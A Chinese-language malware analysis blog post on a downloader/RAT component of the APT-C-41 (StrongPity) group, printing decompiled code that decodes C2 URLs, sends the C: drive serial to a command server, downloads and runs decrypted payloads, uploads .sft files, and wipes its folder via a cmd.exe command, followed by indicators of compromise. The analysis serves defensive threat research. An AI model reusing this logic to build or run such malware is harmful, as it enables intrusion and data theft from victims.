【APT】APT-C-41下载器组件样本分析

前言

　　APT-C-41（又被称为蓝色魔眼、Promethium、StrongPity），该APT组织最早的攻击活动可以追溯到2012年。该组织主要针对意大利、土耳其、比利时、叙利亚、欧洲等地区和国家进行攻击活动。本次捕获的样本是该组织常用的一个通用组件，主要功能是通过HTTPS协议回传数据（C盘序列号、sft文件）和下载载荷执行。个人将该组件定义为下载器，不过由于该组件也可以根据回传指令执行不同功能，定义为远控RAT也可以。

样本分析

Main函数主要功能如下：
1、创建互斥体（"WURmHysJHqPPJlos"）保证单实例运行
2、获取C盘序列号，分别解密出两个回连URL（C2：autoconfirmations[.]com）
3、创建进程执行%Temp%目录下的可执行程序（winmsism.exe、sppser.exe），以上两个程序由其它模块组件创建

 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3   HMODULE v3; // eax
 4   HWND (__stdcall *GetConsoleWindow)(); // ebx
 5   HMODULE v5; // eax
 6   BOOL (__stdcall *ShowWindow)(HWND, int); // esi
 7   int v7; // eax
 8   WCHAR Name[18]; // [esp+14h] [ebp-74h] BYREF
 9   wchar_t Source[14]; // [esp+38h] [ebp-50h] BYREF
10   wchar_t v11[14]; // [esp+54h] [ebp-34h] BYREF
11   CPPEH_RECORD ms_exc; // [esp+70h] [ebp-18h]
12 
13   Name[0] = 'W';
14   Name[1] = 'U';
15   Name[2] = 'R';
16   Name[3] = 'm';
17   Name[4] = 'H';
18   Name[5] = 'y';
19   Name[6] = 's';
20   Name[7] = 'J';
21   Name[8] = 'H';
22   Name[9] = 'q';
23   Name[10] = 'P';
24   Name[11] = 'P';
25   Name[12] = 'J';
26   Name[13] = 'l';
27   Name[14] = 'o';
28   Name[15] = 's';
29   Name[16] = 0;
30   v3 = GetModuleHandleA("Kernel32");
31   GetConsoleWindow = (HWND (__stdcall *)())GetProcAddress(v3, "GetConsoleWindow");
32   v5 = GetModuleHandleA("User32");
33   ShowWindow = (BOOL (__stdcall *)(HWND, int))GetProcAddress(v5, "ShowWindow");
34   v7 = ((int (__stdcall *)(_DWORD))GetConsoleWindow)(0);
35   ((void (__stdcall *)(int))ShowWindow)(v7);
36   CreateMutexW(0, 1, Name);                     // WURmHysJHqPPJlos
37   if ( GetLastError() != 0xB7 )
38   {
39     sub_401550();                               // 获取C盘序列号、解密两个C2地址
40     Source[0] = '\\';
41     Source[1] = 'w';
42     Source[2] = 'i';
43     Source[3] = 'n';
44     Source[4] = 'm';
45     Source[5] = 's';
46     Source[6] = 'i';
47     Source[7] = 's';
48     Source[8] = 'm';
49     Source[9] = '.';
50     Source[10] = 'e';
51     Source[11] = 'x';
52     Source[12] = 'e';
53     Source[13] = 0;
54     v11[0] = '\\';
55     v11[1] = 's';
56     v11[2] = 'p';
57     v11[3] = 'p';
58     v11[4] = 's';
59     v11[5] = 'e';
60     v11[6] = 'r';
61     v11[7] = '.';
62     v11[8] = 'e';
63     v11[9] = 'x';
64     v11[10] = 'e';
65     v11[11] = 0;
66     sub_4024C4(Source);                         // 创建进程：winmsism.exe
67     Sleep(1500u);
68     sub_4024C4(v11);                            // 创建进程：sppser.exe
69     Sleep(4500u);
70     while ( 1 )
71     {
72       ms_exc.registration.TryLevel = 0;
73       sub_4013CB();                             // 循环执行：主功能函数
74       Sleep(15000u);
75       ms_exc.registration.TryLevel = -2;
76     }
77   }
78   return 0;
79 }
View Code

获取C盘序列号，异或解密回连URL地址：
https://autoconfirmations[.]com/parse_ini_file.php
https://autoconfirmations[.]com/phpinfo.php

  1 int sub_401550()
  2 {
  3   unsigned int i; // esi
  4   HMODULE v1; // eax
  5   BOOL (__stdcall *GetVolumeInformationW)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD); // eax
  6   unsigned int v3; // eax
  7   int v5; // [esp+4h] [ebp-FCh] BYREF
  8   char v6[16]; // [esp+8h] [ebp-F8h] BYREF
  9   __int16 v7; // [esp+18h] [ebp-E8h]
 10   __int16 v8; // [esp+1Ah] [ebp-E6h]
 11   __int16 v9; // [esp+1Ch] [ebp-E4h]
 12   __int16 v10; // [esp+1Eh] [ebp-E2h]
 13   __int16 v11; // [esp+20h] [ebp-E0h]
 14   __int16 v12; // [esp+22h] [ebp-DEh]
 15   __int16 v13; // [esp+24h] [ebp-DCh]
 16   __int16 v14; // [esp+26h] [ebp-DAh]
 17   __int16 v15; // [esp+28h] [ebp-D8h]
 18   __int16 v16; // [esp+2Ah] [ebp-D6h]
 19   __int16 v17; // [esp+2Ch] [ebp-D4h]
 20   __int16 v18; // [esp+2Eh] [ebp-D2h]
 21   __int16 v19; // [esp+30h] [ebp-D0h]
 22   __int16 v20; // [esp+32h] [ebp-CEh]
 23   __int16 v21; // [esp+34h] [ebp-CCh]
 24   __int16 v22; // [esp+36h] [ebp-CAh]
 25   __int16 v23; // [esp+38h] [ebp-C8h]
 26   __int16 v24; // [esp+3Ah] [ebp-C6h]
 27   __int16 v25; // [esp+3Ch] [ebp-C4h]
 28   __int16 v26; // [esp+3Eh] [ebp-C2h]
 29   __int16 v27; // [esp+40h] [ebp-C0h]
 30   __int16 v28; // [esp+42h] [ebp-BEh]
 31   __int16 v29; // [esp+44h] [ebp-BCh]
 32   __int16 v30; // [esp+46h] [ebp-BAh]
 33   __int16 v31; // [esp+48h] [ebp-B8h]
 34   __int16 v32; // [esp+4Ah] [ebp-B6h]
 35   __int16 v33; // [esp+4Ch] [ebp-B4h]
 36   __int16 v34; // [esp+4Eh] [ebp-B2h]
 37   __int16 v35; // [esp+50h] [ebp-B0h]
 38   __int16 v36; // [esp+52h] [ebp-AEh]
 39   __int16 v37; // [esp+54h] [ebp-ACh]
 40   __int16 v38; // [esp+56h] [ebp-AAh]
 41   __int16 v39; // [esp+58h] [ebp-A8h]
 42   __int16 v40; // [esp+5Ah] [ebp-A6h]
 43   __int16 v41; // [esp+5Ch] [ebp-A4h]
 44   __int16 v42; // [esp+5Eh] [ebp-A2h]
 45   __int16 v43; // [esp+60h] [ebp-A0h]
 46   __int16 v44; // [esp+62h] [ebp-9Eh]
 47   __int16 v45; // [esp+64h] [ebp-9Ch]
 48   __int16 v46; // [esp+66h] [ebp-9Ah]
 49   __int16 v47; // [esp+68h] [ebp-98h]
 50   _WORD v48[42]; // [esp+6Ch] [ebp-94h] BYREF
 51   char ArgList[2]; // [esp+C0h] [ebp-40h] BYREF
 52   __int16 v50; // [esp+C2h] [ebp-3Eh]
 53   __int16 v51; // [esp+C4h] [ebp-3Ch]
 54   __int16 v52; // [esp+C6h] [ebp-3Ah]
 55   __int16 v53; // [esp+C8h] [ebp-38h]
 56   __int16 v54; // [esp+CAh] [ebp-36h]
 57   __int16 v55; // [esp+CCh] [ebp-34h]
 58   __int16 v56; // [esp+CEh] [ebp-32h]
 59   __int16 v57; // [esp+D0h] [ebp-30h]
 60   __int16 v58; // [esp+D2h] [ebp-2Eh]
 61   __int16 v59; // [esp+D4h] [ebp-2Ch]
 62   wchar_t Source[12]; // [esp+D8h] [ebp-28h] BYREF
 63   __int16 v61[6]; // [esp+F0h] [ebp-10h] BYREF
 64 
 65   i = 0;
 66   v5 = 0;
 67   if ( !GetTempPathW(0x104u, g_Source) )
 68   {
 69     _loaddll(0);
 70     __debugbreak();
 71   }
 72   Source[1] = 'e';                              // keymgrdata
 73   Source[2] = 'y';
 74   Source[3] = 'm';
 75   Source[4] = 'g';
 76   Source[5] = 'r';
 77   Source[6] = 'd';
 78   Source[7] = 'a';
 79   Source[9] = 'a';
 80   Source[10] = 0;
 81   Source[0] = 'k';
 82   Source[8] = 't';
 83   wcscat_s(g_Source, 0x104u, Source);           // %Temp%\keymgrdata
 84   v61[0] = 'C';
 85   v61[1] = ':';
 86   v61[2] = '\\';
 87   v61[3] = '\\';
 88   v61[4] = 0;
 89   v1 = GetModuleHandleA("Kernel32");
 90   GetVolumeInformationW = (BOOL (__stdcall *)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD))GetProcAddress(v1, "GetVolumeInformationW");
 91   GetVolumeInformationW((LPCWSTR)v61, 0, 0, (LPDWORD)&v5, 0, 0, 0, 0);// 获取C盘序列号
 92   strcpy(ArgList, "v");
 93   v51 = '6';
 94   v50 = '2';
 95   v52 = '_';
 96   v53 = 'k';
 97   v54 = 't';
 98   v55 = '2';
 99   v57 = 'p';
100   v59 = 0;
101   v56 = '0';
102   v58 = '0';
103   mySprintf(Buffer, (char *)L"%ls_%u", (char)ArgList);
104   strcpy(v6, "8");
105   strcpy(&v6[6], " ");
106   strcpy(&v6[8], "#");
107   strcpy(&v6[10], "j");
108   *(_WORD *)&v6[12] = 0x7F;
109   *(_WORD *)&v6[14] = 0x7F;
110   v8 = '%';
111   v11 = '3';
112   v13 = '>';
113   v14 = '6';
114   v15 = '9';
115   strcpy(&v6[2], "$");
116   strcpy(&v6[4], "$");
117   v9 = '$';
118   v19 = '$';
119   v20 = '9';
120   v22 = '>';
121   v23 = '#';
122   v7 = '1';
123   v10 = '?';
124   v12 = '?';
125   v16 = '"';
126   v17 = '=';
127   v18 = '1';
128   v21 = '?';
129   v24 = '~';
130   v27 = '=';
131   v28 = '\x7F';
132   v26 = '?';
133   v30 = '1';
134   v32 = '#';
135   v31 = '"';
136   v25 = '3';
137   v34 = '\x0F';
138   v38 = '\x0F';
139   v39 = '6';
140   v36 = '>';
141   v41 = '<';
142   v45 = '8';
143   v3 = 0;
144   v35 = '9';
145   v37 = '9';
146   v40 = '9';
147   v29 = ' ';
148   v33 = '5';
149   v42 = '5';
150   v43 = '~';
151   v44 = ' ';
152   v46 = ' ';
153   v47 = 0;
154   do
155   {
156     *(__m128i *)&v6[2 * v3] = _mm_xor_si128((__m128i)xmmword_415570, *(__m128i *)&v6[2 * v3]);// 解密C2：https://autoconfirmations.com/parse_ini_file.php
157     v3 += 8;
158   }
159   while ( v3 < 0x30 );
160   mySprintf(g_C2, (char *)L"%ls", (char)v6);
161   strcpy((char *)v48, "5");
162   v48[5] = 103;
163   v48[6] = 114;
164   v48[7] = 114;
165   v48[8] = 60;
166   v48[9] = 40;
167   strcpy((char *)&v48[1], ")");
168   v48[2] = 41;
169   v48[10] = 41;
170   v48[3] = 45;
171   v48[11] = 50;
172   v48[13] = 50;
173   v48[12] = 62;
174   v48[17] = 47;
175   v48[18] = 48;
176   v48[19] = 60;
177   v48[20] = 41;
178   v48[22] = 50;
179   v48[4] = 46;
180   v48[24] = 46;
181   v48[26] = 62;
182   v48[14] = 51;
183   v48[23] = 51;
184   v48[15] = 59;
185   v48[16] = 52;
186   v48[21] = 52;
187   v48[25] = 115;
188   v48[27] = 50;
189   v48[28] = 48;
190   v48[29] = 114;
191   v48[33] = 52;
192   v48[31] = 53;
193   v48[37] = 115;
194   v48[39] = 53;
195   v48[41] = 0;
196   v48[35] = 59;
197   v48[30] = 45;
198   v48[32] = 45;
199   v48[38] = 45;
200   v48[40] = 45;
201   v48[34] = 51;
202   v48[36] = 50;
203   do
204     v48[i++] ^= 0x5Du;                          // 解密：https://autoconfirmations.com/phpinfo.php
205   while ( i < 0x29 );
206   return mySprintf(g_C2_, (char *)L"%ls", (char)v48);
207 }
View Code

创建进程执行%Temp%目录下的可执行文件：
%Temp%\keymgrdata\winmsism.exe
%Temp%\keymgrdata\sppser.exe

 1 wchar_t *__cdecl sub_4024C4(wchar_t *Source)
 2 {
 3   int v1; // edi
 4   wchar_t *result; // eax
 5   wchar_t Destination[260]; // [esp+Ch] [ebp-20Ch] BYREF
 6 
 7   v1 = 520;
 8   memset(Destination, 0, sizeof(Destination));
 9   wcscat_s(Destination, 0x104u, g_Source);      // %Temp%\keymgrdata
10   wcscat_s(Destination, 0x104u, Source);        // %Temp%\keymgrdata\winmsism.exe
11                                                 // %Temp%\keymgrdata\sppser.exe
12   myCreateProcess(Destination);                 // 创建进程执行
13   result = Destination;
14   do
15   {
16     *(_BYTE *)result = 0;
17     result = (wchar_t *)((char *)result + 1);
18     --v1;
19   }
20   while ( v1 );
21   return result;
22 }
View Code

主函数功能如下：
1、回连C2服务器，根据返回结果执行不同指令（指令1：0x21222324、指令2：0xDEEFDAAD）
2、遍历回传.sft文件（.sft文件同样由其它模块组件创建）

 1 int sub_4013CB()
 2 {
 3   int v0; // edi
 4   char *newBuff1; // esi
 5   int v2; // ecx
 6   char *newBuff1_; // eax
 7   int v4; // ebx
 8   LPVOID v5; // edx
 9   _BYTE *v6; // eax
10   int i; // ecx
11   HANDLE v8; // eax
12   int v9; // ecx
13   char *v10; // eax
14   int v11; // ecx
15   int *v12; // eax
16   char *v13; // eax
17   void *dwMilliseconds; // [esp+0h] [ebp-60h]
18   LPVOID lpMem; // [esp+10h] [ebp-50h] BYREF
19   int v17; // [esp+14h] [ebp-4Ch]
20   int v18[2]; // [esp+18h] [ebp-48h] BYREF
21   int v19; // [esp+20h] [ebp-40h]
22   char *v20; // [esp+24h] [ebp-3Ch]
23   unsigned int v21; // [esp+28h] [ebp-38h]
24   char v22[20]; // [esp+3Ch] [ebp-24h] BYREF
25   char v23[12]; // [esp+50h] [ebp-10h] BYREF
26 
27   v0 = 260;
28   lpMem = 0;
29   v17 = 0;
30   newBuff1 = (char *)myNew(260);
31   sub_40152F(v18);
32   strcpy(v23, "name=%ls");
33   v2 = 260;
34   newBuff1_ = newBuff1;
35   do
36   {
37     *newBuff1_++ = 0;
38     --v2;
39   }
40   while ( v2 );
41   sub_4024A8(newBuff1, v23, Buffer);            // 格式化字符串，并将格式化后的数据转换成ASCII码十六进制形式
42   v18[0] = (int)g_C2;                           // https://autoconfirmations.com/parse_ini_file.php
43   v20 = newBuff1;
44   v19 |= 0x30u;
45   v21 = strlen(newBuff1);
46   v4 = sub_401000(v18, &lpMem);                 // 回连C2服务器
47   if ( lpMem )
48   {
49     sub_401DCF(&lpMem);                         // 根据C2返回结果，执行不同指令
50     v5 = lpMem;
51     v6 = lpMem;
52     for ( i = v17; i; --i )
53       *v6++ = 0;
54     dwMilliseconds = v5;
55     v8 = GetProcessHeap();
56     HeapFree(v8, 0, dwMilliseconds);
57   }
58   if ( v4 )
59   {
60     v9 = 260;
61     v10 = newBuff1;
62     do
63     {
64       *v10++ = 0;
65       --v9;
66     }
67     while ( v9 );
68     strcpy(v22, "name=%ls&delete=ok");
69     sub_4024A8(newBuff1, v22, Buffer);
70     v20 = newBuff1;
71     v21 = strlen(newBuff1);
72     sub_401000(v18, 0);                         // 回连C2服务器
73   }
74   v11 = 36;
75   v12 = v18;
76   do
77   {
78     *(_BYTE *)v12 = 0;
79     v12 = (int *)((char *)v12 + 1);
80     --v11;
81   }
82   while ( v11 );
83   v13 = newBuff1;
84   do
85   {
86     *v13++ = 0;
87     --v0;
88   }
89   while ( v0 );
90   j_j_j___free_base(newBuff1);
91   Sleep(10000u);
92   return sub_401AAF();                          // 遍历回传.sft文件
93 }
View Code

回连C2服务器：https://autoconfirmations[.]com/parse_ini_file.php
发送当前软件版本与C盘序列号："name=v26_kt20p0_3000XXXXXX"
软件版本："v26_kt20p0"
C盘序列号："3000XXXXXX"

 1 void *__cdecl sub_4022A3(HINTERNET hConnect, LPCWSTR pwszObjectName, int a3, int a4)
 2 {
 3   const WCHAR *v4; // eax
 4   void *v5; // esi
 5   const WCHAR *v6; // ebx
 6   DWORD v8; // [esp-8h] [ebp-20h]
 7   int v9; // [esp+Ch] [ebp-Ch] BYREF
 8   int Buffer; // [esp+10h] [ebp-8h] BYREF
 9 
10   Buffer = a4 & 0x40;
11   v9 = a4;
12   v4 = L"POST";
13   if ( (a4 & 0x20) == 0 )
14     v4 = L"GET";
15   v5 = WinHttpOpenRequest(hConnect, v4, pwszObjectName, 0, 0, 0, Buffer != 0 ? 0x800000 : 0);// 返回HTTP请求句柄（post：parse_ini_file.php）
16   if ( v5 )
17   {
18     v6 = 0;
19     if ( !*(_DWORD *)(a3 + 20) )
20     {
21       v6 = L"Content-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\nConnection: close\r\n";
22       if ( (v9 & 0x30) != 0 )
23         v6 = L"Content-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n";
24       WinHttpAddRequestHeaders(v5, v6, 0xFFFFFFFF, 0x20000000u);
25     }
26     if ( *(_DWORD *)(a3 + 24) )
27       WinHttpAddRequestHeaders(v5, *(LPCWSTR *)(a3 + 24), 0xFFFFFFFF, 0xA0000000);
28     if ( *(_DWORD *)(a3 + 28) )
29       WinHttpAddRequestHeaders(v5, *(LPCWSTR *)(a3 + 28), 0xFFFFFFFF, 0xA0000000);
30     if ( Buffer )
31     {
32       Buffer = 0x3300;
33       WinHttpSetOption(v5, 0x1Fu, &Buffer, 4u);
34     }
35     if ( WinHttpSendRequest(v5, v6, 0xFFFFFFFF, 0, 0, *(_DWORD *)(a3 + 16), 0) )// 发送HTTP请求
36     {
37       Buffer = 4;
38       v8 = *(_DWORD *)(a3 + 16);
39       v9 = 0;
40       if ( WinHttpWriteData(v5, *(LPCVOID *)(a3 + 12), v8, 0) )// 发送HTTP数据：
41                                                 // 第一次："name=v26_kt20p0_3000XXXXXX"
42                                                 // 第二次："name=v26_kt20p0_3000XXXXXX&delete=ok"
43       {
44         if ( WinHttpReceiveResponse(v5, 0)
45           && WinHttpQueryHeaders(v5, 0x20000013u, 0, &v9, (LPDWORD)&Buffer, 0)
46           && v9 == 200 )
47         {
48           return v5;                            // 如果数据发送成功，返回HTTP句柄
49         }
50       }
51     }
52     WinHttpCloseHandle(v5);
53   }
54   return 0;
55 }
View Code

如果C2返回数据：则数据的前4字节为指令ID，程序会根据不同的指令执行不同操作：
指令1：解密返回数据，保存到本地（%Temp\keymgrdata%）然后创建进程执行
指令2：清理作案环境，删除（%Temp\keymgrdata%）目录及其文件，然后结束进程
(cmd.exe /C ping 2.7.6.5 -n 3 -w 4444 & rmdir /Q /S "C:\Users\admin\AppData\Local\Temp\keymgrdata")

  1 char *__cdecl sub_401DCF(int **a1)
  2 {
  3   int *v1; // edi
  4   int v2; // eax
  5   _WORD *v3; // edi
  6   __int16 v4; // ax
  7   _WORD *v5; // edi
  8   __int16 v6; // ax
  9   wchar_t *v7; // edx
 10   unsigned int v9; // edx
 11   _WORD *v10; // edi
 12   __int16 v11; // ax
 13   char *v12; // edi
 14   __int16 v13; // ax
 15   int v14; // esi
 16   int v15; // ecx
 17   WCHAR *v16; // eax
 18   char *result; // eax
 19   _BYTE *v18; // ecx
 20   unsigned int v19; // esi
 21   unsigned int i; // eax
 22   unsigned int j; // edx
 23   unsigned int k; // edx
 24   unsigned int v23; // eax
 25   WCHAR *v24; // eax
 26   int v25; // ecx
 27   int v26; // ecx
 28   char *v27; // eax
 29   int v28; // eax
 30   _DWORD *v29; // ecx
 31   HANDLE v30; // ecx
 32   HANDLE hObject; // [esp+10h] [ebp-88Ch]
 33   unsigned int v32; // [esp+18h] [ebp-884h]
 34   _DWORD *v33; // [esp+1Ch] [ebp-880h]
 35   struct _PROCESS_INFORMATION ProcessInformation; // [esp+20h] [ebp-87Ch] BYREF
 36   struct _STARTUPINFOW StartupInfo; // [esp+30h] [ebp-86Ch] BYREF
 37   DWORD NumberOfBytesWritten; // [esp+74h] [ebp-828h] BYREF
 38   WCHAR CommandLine[512]; // [esp+78h] [ebp-824h] BYREF
 39   char Buffer[520]; // [esp+478h] [ebp-424h] BYREF
 40   WCHAR FileName[268]; // [esp+680h] [ebp-21Ch] BYREF
 41   int v40; // [esp+898h] [ebp-4h]
 42 
 43   v40 = 0;
 44   v1 = *a1;
 45   v2 = **a1;
 46   if ( v2 == 0x21222324 )                       // 指令1：解密服务器返回数据并执行
 47   {
 48     v18 = v1 + 4;
 49     v33 = v1 + 4;
 50     v19 = (unsigned int)v1[3] >> 2;
 51     for ( i = v1[3] & 3; v19; --v19 )
 52     {
 53       for ( j = 0; j < 4; ++j )
 54         *v18++ ^= *((_BYTE *)v1 + j + 4);
 55     }
 56     for ( k = 0; k < i; ++k )
 57       *v18++ ^= *((_BYTE *)v1 + k + 4);
 58     v23 = 0;
 59     v14 = 520;
 60     while ( 1 )
 61     {
 62       v32 = v23;
 63       if ( v23 >= v1[2] )                       // v1[2] == [buff+8]
 64         goto LABEL_15;
 65       NumberOfBytesWritten = 0;
 66       v24 = FileName;
 67       v25 = 520;
 68       do
 69       {
 70         *(_BYTE *)v24 = 0;
 71         v24 = (WCHAR *)((char *)v24 + 1);
 72         --v25;
 73       }
 74       while ( v25 );
 75       v26 = 520;
 76       v27 = Buffer;
 77       do
 78       {
 79         *v27++ = 0;
 80         --v26;
 81       }
 82       while ( v26 );
 83       mySprintf(Buffer, (char *)L"%ls", g_Source);
 84       mySprintf((char *)FileName, (char *)L"%ls\\%hs", Buffer, v33);
 85       v28 = sub_4023F1(0, (char *)v33 + 41, *(_DWORD *)((char *)v33 + 37));
 86       v29 = v33;
 87       if ( v28 == *(_DWORD *)((char *)v33 + 33) )
 88       {
 89         v30 = CreateFileW(FileName, 0xC0000000, 1u, 0, 2u, 0x80u, 0);
 90         hObject = v30;
 91         if ( v30 != (HANDLE)-1 )
 92         {
 93           WriteFile(v30, (char *)v33 + 41, *(_DWORD *)((char *)v33 + 37), &NumberOfBytesWritten, 0);
 94           CloseHandle(hObject);
 95           v29 = v33;
 96           if ( !*((_BYTE *)v33 + 32) )
 97             goto LABEL_37;
 98           myCreateProcess(FileName);
 99         }
100         v29 = v33;
101       }
102 LABEL_37:
103       v33 = (_DWORD *)((char *)v29 + *(_DWORD *)((char *)v29 + 37) + 41);
104       v23 = v32 + 1;
105     }
106   }
107   if ( v2 == 0xDEEFDAAD )                       // 指令2：清理作案环境
108   {
109     memset(CommandLine, 0, sizeof(CommandLine));
110     memset(&StartupInfo, 0, sizeof(StartupInfo));
111     v3 = (_WORD *)&NumberOfBytesWritten + 1;
112     ProcessInformation = 0i64;
113     do
114     {
115       v4 = v3[1];
116       ++v3;
117     }
118     while ( v4 );
119     qmemcpy(v3, L"cmd.exe /C ping 2.7.6.5 -n 3 ", 0x3Cu);
120     v5 = (_WORD *)&NumberOfBytesWritten + 1;
121     do
122     {
123       v6 = v5[1];
124       ++v5;
125     }
126     while ( v6 );
127     v7 = g_Source;
128     qmemcpy(v5, L"-w 4444 & rmdir /Q /S \"", 0x30u);
129     while ( *v7++ )
130       ;
131     v9 = (char *)v7 - (char *)g_Source;
132     v10 = (_WORD *)&NumberOfBytesWritten + 1;
133     do
134     {
135       v11 = v10[1];
136       ++v10;
137     }
138     while ( v11 );
139     qmemcpy(v10, g_Source, v9);
140     v12 = (char *)&NumberOfBytesWritten + 2;
141     do
142     {
143       v13 = *((_WORD *)v12 + 1);
144       v12 += 2;
145     }
146     while ( v13 );
147     *(_DWORD *)v12 = 34;
148     CreateProcessW(0, CommandLine, 0, 0, 0, 0x8000000u, 0, 0, &StartupInfo, &ProcessInformation);
149     CloseHandle(ProcessInformation.hThread);
150     CloseHandle(ProcessInformation.hProcess);
151     _loaddll(0);                                // 结束进程
152   }
153   v14 = 520;
154 LABEL_15:
155   v15 = 520;
156   v16 = FileName;
157   do
158   {
159     *(_BYTE *)v16 = 0;
160     v16 = (WCHAR *)((char *)v16 + 1);
161     --v15;
162   }
163   while ( v15 );
164   result = Buffer;
165   do
166   {
167     *result++ = 0;
168     --v14;
169   }
170   while ( v14 );
171   return result;
172 }
View Code

如果C2没有返回数据：则发送如下数据到服务器："name=v26_kt20p0_3000XXXXXX&delete=ok"

回连C2服务器：https://autoconfirmations[.]com/parse_ini_file.php
发送（%Temp\keymgrdata%）目录下的所有 .sft 隐藏文件：

发送数据如下所示：

发送成功后删除 .sft 文件：

IOCS

08ecc9b5acdfc237d067a73a1cd7c88a

192.36.27.20
autoconfirmations.com
https://autoconfirmations[.]com/phpinfo.php
https://autoconfirmations[.]com/parse_ini_file.php

 

posted @ 2021-08-19 20:11  SunsetR  阅读(168)  评论(1)  编辑  收藏  举报